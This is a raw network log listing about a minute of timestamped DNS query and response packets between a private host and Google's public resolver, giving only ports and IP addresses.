Dec 3, 2020 10:02:55.669667006 CET	53	61998	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:57.107584953 CET	53724	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:57.143070936 CET	53	53724	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:57.453136921 CET	52328	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:57.488672018 CET	53	52328	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:57.861424923 CET	58051	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:57.888547897 CET	53	58051	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:58.165703058 CET	64130	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:58.201248884 CET	53	64130	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:58.471180916 CET	50491	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:58.506773949 CET	53	50491	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:58.767008066 CET	53004	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:58.794132948 CET	53	53004	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:59.063576937 CET	52529	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:59.090637922 CET	53	52529	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:59.332727909 CET	53656	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:59.352404118 CET	62724	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:59.359818935 CET	53	53656	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:59.379409075 CET	53	62724	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:59.380959034 CET	56059	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:59.418051004 CET	53	56059	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:59.620688915 CET	63060	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:59.656177998 CET	53	63060	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:59.915173054 CET	51498	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:59.950726032 CET	53	51498	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:00.208374977 CET	59943	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:00.243922949 CET	53	59943	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:00.489223003 CET	50118	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:01.522310972 CET	50118	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:01.549401045 CET	53	50118	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:01.962356091 CET	58357	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:01.989443064 CET	53	58357	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:02.265445948 CET	55804	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:02.292546034 CET	53	55804	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:02.565130949 CET	58079	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:02.592231035 CET	53	58079	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:02.839083910 CET	52080	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:02.866249084 CET	53	52080	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:03.107460022 CET	55238	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:03.134548903 CET	53	55238	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:03.453428984 CET	49289	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:03.480504990 CET	53	49289	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:03.796557903 CET	61034	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:03.831958055 CET	53	61034	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:04.060163975 CET	51964	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:04.087317944 CET	53	51964	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:04.340807915 CET	58241	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:04.367944956 CET	53	58241	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:04.846359015 CET	59571	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:04.873424053 CET	53	59571	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:05.140671015 CET	51708	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:05.167690992 CET	53	51708	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:05.526319027 CET	60709	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:05.561676025 CET	53	60709	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:05.999557018 CET	63643	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:06.026559114 CET	53	63643	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:06.272005081 CET	62823	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:06.298940897 CET	53	62823	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:06.923021078 CET	63750	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:06.958455086 CET	53	63750	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:07.080642939 CET	61959	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:07.116260052 CET	53	61959	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:07.196409941 CET	63554	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:07.223416090 CET	53	63554	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:07.464982033 CET	57723	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:07.492100954 CET	53	57723	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:07.545674086 CET	58663	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:07.572789907 CET	53	58663	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:07.766259909 CET	50980	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:07.793365002 CET	53	50980	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:07.991255999 CET	50067	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:08.026904106 CET	53	50067	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:08.061608076 CET	52992	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:08.097146988 CET	53	52992	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:08.183008909 CET	55129	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:08.226962090 CET	53	55129	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:08.342209101 CET	60959	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:08.369294882 CET	53	60959	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:08.378318071 CET	58319	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:08.414122105 CET	53	58319	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:08.640106916 CET	64785	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:08.667260885 CET	53	64785	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:08.760520935 CET	50208	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:08.787640095 CET	53	50208	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:08.922322035 CET	62477	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:08.949558973 CET	53	62477	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:09.173088074 CET	54467	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:09.200198889 CET	53	54467	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:09.202274084 CET	60548	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:09.237628937 CET	53	60548	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:09.503087044 CET	59623	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:09.530018091 CET	53	59623	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:09.625865936 CET	51689	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:09.661299944 CET	53	51689	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:09.788084984 CET	64806	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:09.815169096 CET	53	64806	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:10.242281914 CET	49686	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:10.270598888 CET	53	49686	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:10.413285017 CET	56195	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:10.448693991 CET	53	56195	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:10.629410982 CET	62241	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:10.656408072 CET	53	62241	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:11.015091896 CET	50543	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:11.050388098 CET	53	50543	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:11.502537012 CET	56445	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:11.529567957 CET	53	56445	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:11.542805910 CET	56709	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:11.578269005 CET	53	56709	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:11.768229008 CET	51248	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:11.795329094 CET	53	51248	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:11.971050024 CET	49679	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:12.008619070 CET	53	49679	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:12.141284943 CET	50263	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:12.168389082 CET	53	50263	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:12.443948030 CET	49215	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:12.471132994 CET	53	49215	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:12.813215971 CET	64372	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:12.840190887 CET	53	64372	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:13.089744091 CET	50016	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:13.116857052 CET	53	50016	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:13.933495998 CET	61325	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:13.969163895 CET	53	61325	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:15.775830030 CET	49160	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:15.802970886 CET	53	49160	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:16.220994949 CET	51265	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:16.248004913 CET	53	51265	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:16.659768105 CET	52006	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:16.686774969 CET	53	52006	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:17.074780941 CET	58697	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:17.101861954 CET	53	58697	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:17.538553953 CET	51530	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:17.576236963 CET	53	51530	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:18.230065107 CET	50989	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:18.257051945 CET	53	50989	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:18.976856947 CET	53323	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:19.004000902 CET	53	53323	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:19.320147991 CET	59034	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:19.347383022 CET	53	59034	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:19.666008949 CET	53106	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:19.693027973 CET	53	53106	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:19.815073967 CET	62132	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:19.852605104 CET	53	62132	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:20.114562035 CET	54489	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:20.141608000 CET	53	54489	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:20.585319996 CET	64390	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:20.612430096 CET	53	64390	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:20.865005970 CET	58369	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:20.892046928 CET	53	58369	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:21.350702047 CET	64203	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:21.386265039 CET	53	64203	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:21.938216925 CET	49232	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:21.965183020 CET	53	49232	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:22.212102890 CET	52558	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:22.239182949 CET	53	52558	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:22.710444927 CET	53555	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:22.737561941 CET	53	53555	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:22.973746061 CET	50083	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:23.001060009 CET	53	50083	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:23.470324039 CET	49804	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:23.506064892 CET	53	49804	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:23.971995115 CET	62963	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:23.999000072 CET	53	62963	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:24.279090881 CET	63695	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:24.315536022 CET	53	63695	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:24.629245996 CET	64296	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:24.656239986 CET	53	64296	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:25.133505106 CET	60844	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:25.160573959 CET	53	60844	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:25.611252069 CET	63917	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:25.638206959 CET	53	63917	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:26.139666080 CET	51851	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:26.166709900 CET	53	51851	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:26.750502110 CET	49898	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:26.777601957 CET	53	49898	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:27.020617962 CET	49632	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:27.047732115 CET	53	49632	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:27.542334080 CET	65361	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:27.569431067 CET	53	65361	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:28.052023888 CET	50206	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:28.079176903 CET	53	50206	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:28.320911884 CET	49613	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:28.347884893 CET	53	49613	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:28.947045088 CET	63032	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:28.974086046 CET	53	63032	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:29.212243080 CET	54898	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:29.239267111 CET	53	54898	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:29.856785059 CET	61710	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:29.883810997 CET	53	61710	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:30.428265095 CET	52073	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:30.455344915 CET	53	52073	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:30.940175056 CET	63949	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:30.967179060 CET	53	63949	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:31.211011887 CET	57561	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:31.238079071 CET	53	57561	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:31.701210022 CET	53205	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:31.728187084 CET	53	53205	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:31.965411901 CET	60579	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:31.992304087 CET	53	60579	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:32.553005934 CET	49765	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:32.580051899 CET	53	49765	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:32.813930035 CET	57650	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:32.841048956 CET	53	57650	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:33.387254000 CET	65317	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:33.414453983 CET	53	65317	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:33.887957096 CET	64654	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:33.915010929 CET	53	64654	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:34.397080898 CET	51191	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:34.424179077 CET	53	51191	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:34.893606901 CET	63870	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:34.920726061 CET	53	63870	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:35.446471930 CET	57013	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:35.481955051 CET	53	57013	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:35.982255936 CET	58745	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:36.018115044 CET	53	58745	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:36.558135033 CET	64272	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:36.585150003 CET	53	64272	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:37.046510935 CET	56440	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:37.073591948 CET	53	56440	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:37.585237980 CET	59492	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:37.612159967 CET	53	59492	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:38.089342117 CET	62125	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:38.116751909 CET	53	62125	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:38.558370113 CET	61776	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:38.593563080 CET	53	61776	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:39.105139017 CET	53928	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:39.132040977 CET	53	53928	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:39.622893095 CET	51058	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:39.660496950 CET	53	51058	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:39.961132050 CET	56711	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:39.990310907 CET	53	56711	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:40.350091934 CET	54780	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:40.385514975 CET	53	54780	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:40.643349886 CET	54305	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:40.670334101 CET	53	54305	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:40.917800903 CET	61669	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:40.944808006 CET	53	61669	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:41.210357904 CET	57336	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:41.237742901 CET	53	57336	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:41.501154900 CET	64577	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:41.528228045 CET	53	64577	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:41.788903952 CET	64987	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:41.815978050 CET	53	64987	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:42.078183889 CET	58655	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:42.105398893 CET	53	58655	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:42.745702982 CET	60905	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:42.772661924 CET	53	60905	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:43.046442032 CET	62776	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:43.073678017 CET	53	62776	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:43.359462976 CET	56923	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:43.386657953 CET	53	56923	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:43.637032032 CET	65201	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:43.663877010 CET	53	65201	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:43.957545042 CET	54264	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:43.984477043 CET	53	54264	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:44.347207069 CET	58439	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:44.374341965 CET	53	58439	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:44.619749069 CET	54235	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:44.646862984 CET	53	54235	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:44.920094967 CET	55876	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:44.947272062 CET	53	55876	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:45.199316978 CET	56994	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:45.226454020 CET	53	56994	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:45.705465078 CET	58832	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:45.740957022 CET	53	58832	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:46.270900965 CET	51800	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:46.297924995 CET	53	51800	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:46.745162964 CET	58836	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:46.772357941 CET	53	58836	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:47.266988039 CET	64669	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:47.294194937 CET	53	64669	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:47.829632998 CET	64735	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:47.856794119 CET	53	64735	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:48.394521952 CET	52472	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:48.421653986 CET	53	52472	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:48.946424961 CET	51697	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:48.973506927 CET	53	51697	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:49.333678007 CET	56752	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:49.368880033 CET	53	56752	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:49.653568029 CET	55447	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:49.680624962 CET	53	55447	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:50.292429924 CET	53722	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:50.319664955 CET	53	53722	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:50.652407885 CET	63934	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:50.679482937 CET	53	63934	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:50.984679937 CET	64241	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:51.011617899 CET	53	64241	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:51.184968948 CET	60174	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:51.212004900 CET	53	60174	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:51.697694063 CET	53678	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:51.724632978 CET	53	53678	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:51.771825075 CET	55059	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:51.809716940 CET	53	55059	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:51.962105036 CET	63654	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:51.989200115 CET	53	63654	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:52.491959095 CET	54025	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:52.518933058 CET	53	54025	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:53.082986116 CET	54227	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:53.110177994 CET	53	54227	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:53.163695097 CET	55620	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:53.190767050 CET	53	55620	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:53.692517996 CET	62342	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:53.719638109 CET	53	62342	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:53.964230061 CET	61604	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:53.991311073 CET	53	61604	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:54.522007942 CET	56340	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:54.549211979 CET	53	56340	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:55.105586052 CET	54011	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:55.132646084 CET	53	54011	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:55.323895931 CET	49608	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:55.359492064 CET	53	49608	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:55.802597046 CET	52529	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:55.829653025 CET	53	52529	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:56.065541029 CET	58901	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:56.092653990 CET	53	58901	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:56.584539890 CET	56297	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:56.611583948 CET	53	56297	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:57.100286007 CET	59580	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:57.127315044 CET	53	59580	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:57.629905939 CET	54299	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:57.665216923 CET	53	54299	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:58.233308077 CET	58549	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:58.260405064 CET	53	58549	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:58.499917984 CET	52385	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:58.526932001 CET	53	52385	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:58.767443895 CET	50907	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:58.794562101 CET	53	50907	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:59.049704075 CET	59103	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:59.076771021 CET	53	59103	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:59.326589108 CET	56386	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:59.353662014 CET	53	56386	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:59.609312057 CET	62053	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:59.636375904 CET	53	62053	8.8.8.8	192.168.2.3
Dec 3, 2020 10:03:59.880233049 CET	54608	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:03:59.915659904 CET	53	54608	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:00.164766073 CET	52629	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:00.191922903 CET	53	52629	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:00.456994057 CET	51974	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:00.484050989 CET	53	51974	8.8.8.8	192.168.2.3
Dec 3, 2020 10:04:00.739052057 CET	50638	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:04:00.766160965 CET	53	50638	8.8.8.8	192.168.2.3
